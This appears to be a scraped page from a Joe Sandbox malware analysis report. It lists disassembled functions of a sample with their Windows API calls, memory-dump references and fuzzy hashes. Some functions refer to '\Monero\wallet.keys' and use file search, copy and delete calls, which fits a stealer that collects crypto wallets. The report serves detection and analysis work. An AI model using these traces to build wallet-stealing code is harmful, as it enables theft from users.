Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: a847700600ed17694b2e867f606c3ee51a0e61b00cf5e99abbc7969db999df28
Instruction ID: bef9277750ed8e7a0eddacd538727b08730d177d34165c006847894310b89537
Opcode Fuzzy Hash: a847700600ed17694b2e867f606c3ee51a0e61b00cf5e99abbc7969db999df28
Instruction Fuzzy Hash: C7E1E2729102189BDB48EBA4DD96EEE7338FF64300F408169F516E61D1EF346A49CB63

Function 007FAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

lstrlen.KERNEL32(00000000), ref: 007FB16A
lstrlen.KERNEL32(00000000), ref: 007FB17E

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1c4984c8012620ebd703e6f9c2547a21de01662064a065c0d8e39209fbded0d9
Instruction ID: 0efac5b6561325ee04b068161fee61d955542d94a2ffac65844c191cad7c70d4
Opcode Fuzzy Hash: 1c4984c8012620ebd703e6f9c2547a21de01662064a065c0d8e39209fbded0d9
Instruction Fuzzy Hash: 7991F1729102189BDB48EBA4DD96EEE7338FF64300F408169F516E61D1EF346A49CB63

Function 007FB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

lstrlen.KERNEL32(00000000), ref: 007FB42E
lstrlen.KERNEL32(00000000), ref: 007FB442

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 4b487cea73c34ea4a5ae2a6c44d900fbfe17e31d10930f08db6715c8b350a2b9
Instruction ID: d0b7e03cdfeb84dae470c00094df2b832aa008d7d20ea1bc0f13516991b1c5e5
Opcode Fuzzy Hash: 4b487cea73c34ea4a5ae2a6c44d900fbfe17e31d10930f08db6715c8b350a2b9
Instruction Fuzzy Hash: 3771F0729102189BDB48EBA8DD96EEE7378FF54300F404528F556E61D1EF346A09CBA3

Function 00804BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00808DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

lstrcat.KERNEL32(?,00000000), ref: 00804BEA
lstrcat.KERNEL32(?,0135D960), ref: 00804C08

Part of subcall function 00804910: wsprintfA.USER32 ref: 0080492C
Part of subcall function 00804910: FindFirstFileA.KERNEL32(?,?), ref: 00804943

Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,00810FDC), ref: 00804971
Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,00810FE0), ref: 00804987
Part of subcall function 00804910: FindNextFileA.KERNEL32(000000FF,?), ref: 00804B7D
Part of subcall function 00804910: FindClose.KERNEL32(000000FF), ref: 00804B92

Part of subcall function 00804910: wsprintfA.USER32 ref: 008049B0
Part of subcall function 00804910: StrCmpCA.SHLWAPI(?,008108D2), ref: 008049C5
Part of subcall function 00804910: wsprintfA.USER32 ref: 008049E2
Part of subcall function 00804910: PathMatchSpecA.SHLWAPI(?,?), ref: 00804A1E
Part of subcall function 00804910: lstrcat.KERNEL32(?,0135EA08), ref: 00804A4A
Part of subcall function 00804910: lstrcat.KERNEL32(?,00810FF8), ref: 00804A5C
Part of subcall function 00804910: lstrcat.KERNEL32(?,?), ref: 00804A70
Part of subcall function 00804910: lstrcat.KERNEL32(?,00810FFC), ref: 00804A82
Part of subcall function 00804910: lstrcat.KERNEL32(?,?), ref: 00804A96
Part of subcall function 00804910: CopyFileA.KERNEL32(?,?,00000001), ref: 00804AAC
Part of subcall function 00804910: DeleteFileA.KERNEL32(?), ref: 00804B31

Part of subcall function 00804910: wsprintfA.USER32 ref: 00804A07

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: b648d1a0b609c1267b547b37e0c2ec369c44d90e2051df849237397cecf7e1e9
Instruction ID: 2a464f6a0238d7e52badc5df0739b4a48b6b4d76f31fdc83b7a98dfb3b14b3be
Opcode Fuzzy Hash: b648d1a0b609c1267b547b37e0c2ec369c44d90e2051df849237397cecf7e1e9
Instruction Fuzzy Hash: C341B5BB500114ABC794F7A4EC42EFE333DFB94300F408518B69697295ED759AC98B93

Function 007F6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 007F6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 007F6753

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 340e370a5f8522458a175f85bafd23a6572bbd07033f135353039a6a3d21f41e
Instruction ID: 67904dc4c704b82ebbb5ef8cca39b00192be5dcf806cbc5b3b4b43af6706d2b2
Opcode Fuzzy Hash: 340e370a5f8522458a175f85bafd23a6572bbd07033f135353039a6a3d21f41e
Instruction Fuzzy Hash: 4B41A474A00209EFCB44CF98C494BADBBB1FF48314F2486A9E9599B355D735EA81CF84

Function 00805050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00808DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

lstrcat.KERNEL32(?,00000000), ref: 0080508A
lstrcat.KERNEL32(?,0135E560), ref: 008050A8

Part of subcall function 00804910: wsprintfA.USER32 ref: 0080492C
Part of subcall function 00804910: FindFirstFileA.KERNEL32(?,?), ref: 00804943

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 0d711022d46d95b1d1a7238c7842950964e2d60c73a831f9055840e03127d0a1
Instruction ID: c30fa65a69da8491d375dea4198dffcfbb89c9f59d508cd836df4866ebf34fd7
Opcode Fuzzy Hash: 0d711022d46d95b1d1a7238c7842950964e2d60c73a831f9055840e03127d0a1
Instruction Fuzzy Hash: 7501C87690021897C754FBA4DC46EEA733CFB64300F004154B6CA931D1EE759AC98B93

Function 007F10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 007F10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 007F10F7

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e8aeb96bdd4a544ac4e5c796009ab94deb6290747c611a0fef420b5f6cab2776
Instruction ID: 973dab2062f11d8df5f84a54c9474d361e02de90eadeb0887ff07386e011ee2a
Opcode Fuzzy Hash: e8aeb96bdd4a544ac4e5c796009ab94deb6290747c611a0fef420b5f6cab2776
Instruction Fuzzy Hash: 3FF0E271641218FBE714DAA8AC89FBAB7E8E705B15F300848F644E3280D9719E40CAA1

Function 00CB9BA9 Relevance: 1.5, APIs: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,?), ref: 00CBA161

Memory Dump Source

Source File: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

